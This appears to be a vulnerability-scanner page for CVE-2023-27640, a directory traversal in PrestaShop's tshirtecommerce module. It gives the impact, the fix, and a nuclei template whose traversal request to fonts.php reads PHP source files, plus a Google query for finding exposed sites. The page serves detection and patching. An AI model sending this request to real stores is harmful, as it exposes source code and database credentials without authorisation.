PrestaShop tshirtecommerce - Directory Traversal

highseverity

7.5CVSS score

3.6%likelihood of exploitation, next 30 days

90%of all CVEs are less likely

Readycheck to confirm it

The Custom Product Designer (tshirtecommerce) module for PrestaShop allows HTTP requests to be forged using POST and GET parameters, enabling a remote attacker to perform directory traversal on the system and view the contents of code files.

Impact

Unauthenticated attackers can exploit directory traversal through the type parameter in fonts.php to read arbitrary PHP source code files, potentially exposing database credentials and PrestaShop configuration.

Fix

Update Custom Product Designer (tshirtecommerce) module to a patched version that validates file paths in fonts.php and prevents directory traversal attacks.

How to confirm it

Send: GET {{BaseURL}}/tshirtecommerce/fonts.php?name=2&type=./../index.php
Positive when: status_code == 200 and contains(header, "text/html") and contains_all(base64_decode(body), "PrestaShop", "<?php")

Run it with nuclei: nuclei -id CVE-2023-27640 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2023-27640

info:
  name: PrestaShop tshirtecommerce - Directory Traversal
  author: MaStErChO
  severity: high
  description: |
    The Custom Product Designer (tshirtecommerce) module for PrestaShop allows HTTP requests to be forged using POST and GET parameters, enabling a remote attacker to perform directory traversal on the system and view the contents of code files.
  impact: |
    Unauthenticated attackers can exploit directory traversal through the type parameter in fonts.php to read arbitrary PHP source code files, potentially exposing database credentials and PrestaShop configuration.
  remediation: |
    Update Custom Product Designer (tshirtecommerce) module to a patched version that validates file paths in fonts.php and prevents directory traversal attacks.
  reference:
    - https://www.cvedetails.com/cve/CVE-2023-27640/
    - https://security.friendsofpresta.org/module/2023/03/30/tshirtecommerce_cwe-22.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27640
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-27640
    cwe-id: CWE-22
    epss-score: 0.03573
    epss-percentile: 0.89467
    cpe: cpe:2.3:a:tshirtecommerce:custom_product_designer:*:*:*:*:*:prestashop:*:*
  metadata:
    max-request: 1
    vendor: tshirtecommerce
    product: custom_product_designer
    framework: prestashop
    google-query: inurl:"/tshirtecommerce/"
  tags: cve,cve2023,prestashop,tshirtecommerce,lfi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/tshirtecommerce/fonts.php?name=2&type=./../index.php"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(header, "text/html")'
          - 'contains_all(base64_decode(body), "PrestaShop", "<?php")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from